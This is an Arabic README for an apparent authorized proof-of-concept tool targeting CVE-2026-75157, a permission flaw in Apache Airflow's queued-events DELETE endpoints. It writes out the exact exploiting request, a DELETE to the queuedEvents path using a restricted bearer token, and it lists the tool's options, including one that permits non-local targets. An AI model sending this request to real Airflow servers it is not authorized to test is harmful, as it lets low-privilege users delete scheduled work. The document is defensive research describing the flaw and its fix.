
أداة HTTP PoC عالمية مستقلة ومرخّصة لـ CVE-2026-75157
إثبات مفهوم (PoC) لبحث أمني مُصرَّح به لثغرة التفويض في أحداث قائمة الانتظار (queued-events) في Apache Airflow في الإصدارات الأقدم من 3.3.2.
شغِّل هذا فقط ضد نسخة Airflow تملكها أو لديك تصريح صريح باختبارها. يرفض المشغِّل الافتراضي الأهداف غير المحلية (non-loopback). لا يحتوي هذا المستودع على أي منطق للفحص أو تعداد الأهداف أو الاستمرارية أو سرقة بيانات الاعتماد أو الحمولات التدميرية.
README.md
poc.py
poc.py هو مشغِّل طلبات HTTP شامل وواعٍ بالهدف. يقبل عنوان URL الهدف، والطريقة، والمسار، والترويسات، والجسم، ومصدر المصادقة، والنتيجة المتوقعة من سطر الأوامر بدلاً من ترميز المضيف بشكل ثابت.
فحص السلامة ضد مختبر Airflow محلي:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
تشغيل الثغرة ضد نسخة Airflow محلية مصابة ومُعدَّة مسبقًا:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
يجب أن ينتمي الرمز (token) إلى هوية قابلة للتخلص منها (disposable principal) لديها صلاحية قراءة DAG وصلاحية حذف Assets. السلوك المصاب المتوقع هو أن الهوية المقيَّدة يمكنها حذف الحدث الموجود في قائمة الانتظار. يجب أن يرفض Airflow 3.3.2 أو أحدث الطلب نفسه ما لم تكن لدى الهوية أيضًا صلاحية تعديل DAG.
--target URL Required absolute HTTP(S) target
--path PATH Optional path joined to --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Repeatable request header
--bearer-env ENV Read a bearer token from ENV without printing it
--json JSON JSON request body
--body-file FILE Raw request body
--expect-status STATUS Repeatable expected status assertion
--expect-body TEXT Repeatable response-body assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Explicit opt-in for an authorized non-lab target
يُرجع المشغِّل رمز الخروج 0 عند نجاح التحقق، و1 عند أخطاء النطاق/النقل/الوسائط، و2 عند فشل تحقق HTTP. تُحجب قيم التفويض وملفات تعريف الارتباط (cookies) في المخرجات.
قبل Airflow 3.3.2، كانت مسارات DELETE الخاصة بأحداث قائمة الانتظار تتحقق من محور DAG بصلاحية القراءة بدلاً من صلاحية التعديل. يُغيّر الإصلاح متطلب تفويض DAG إلى صلاحية مستوى الكتابة. يرسل هذا الـ PoC طلب HTTP الحقيقي؛ ولا ينشئ مستخدم المختبر أو تجهيزات قاعدة البيانات.